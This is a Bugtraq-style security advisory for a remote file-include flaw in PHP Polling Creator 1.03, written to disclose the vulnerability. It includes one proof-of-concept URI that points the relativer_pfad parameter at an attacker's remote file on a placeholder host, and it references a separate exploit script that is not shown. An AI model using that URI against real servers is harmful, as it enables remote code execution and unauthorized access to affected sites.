PHP Polling Creator Functions.inc.PHP Remote File Include Vulnerability

Bugtraq ID:	20398
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Oct 08 2006 12:00AM
Updated:	Oct 10 2006 06:04PM
Credit:	The-wolf-ksa is credited with the discovery of this vulnerability.
Vulnerable:	php PC PHP Polling Creator 1.03
Not Vulnerable:

PHP Polling Creator Functions.inc.PHP Remote File Include Vulnerability

PHP Polling Creator is affected by a remote file-include vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.

PHP Polling Creator Functions.inc.PHP Remote File Include Vulnerability

Attackers can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/phppc/lib/functions.inc.php?relativer_pfad=http://www.example.com/attacker's_file

• /data/vulnerabilities/exploits/20398_rfi.pl

PHP Polling Creator Functions.inc.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].

PHP Polling Creator Functions.inc.PHP Remote File Include Vulnerability

References:

• PHP Poll Creator Homepage (php PC)
  
• phpPC <= 1.03 RC1 Remote File Include Exploit (The-wolf-ksa)